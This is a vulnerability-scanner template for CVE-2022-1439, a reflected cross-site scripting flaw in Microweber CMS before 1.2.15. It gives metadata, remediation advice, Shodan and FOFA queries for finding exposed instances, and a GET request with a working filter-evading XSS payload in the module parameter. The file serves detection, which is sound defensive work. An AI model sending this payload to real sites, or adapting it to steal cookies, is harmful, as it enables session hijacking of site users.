id: CVE-2022-1439

info:
  name: Microweber <1.2.15 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Microweber prior to 1.2.15 contains a reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Microweber CMS version 1.2.15 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://huntr.dev/bounties/86f6a762-0f3d-443d-a676-20f8496907e0/
    - https://huntr.dev/bounties/86f6a762-0f3d-443d-a676-20f8496907e0
    - https://github.com/microweber/microweber/commit/ad3928f67b2cd4443f4323d858b666d35a919ba8
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1439
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1439
    cwe-id: CWE-79
    epss-score: 0.0327
    epss-percentile: 0.87164
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,microweber,xss,huntr,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/module/?module=%27onm%3Ca%3Eouseover=alert(document.domain)%27%22tabindex=1&style=width:100%25;height:100%25;&id=x&data-show-ui=admin&class=x&from_url={{BaseURL}}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<div class='x module module-'onmouseover=alert(document.domain) '"
          - "parent-module-id"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022041a3f20715c8897828d0d56463a6a09df6f027c1c1aeb7c2ecaa9ec33cf27a3f022069be2fc54f7debdece497e07c3df63698507be6c6281c6007fb801565974fbb3:922c64590222798bb761d5b6d8e72950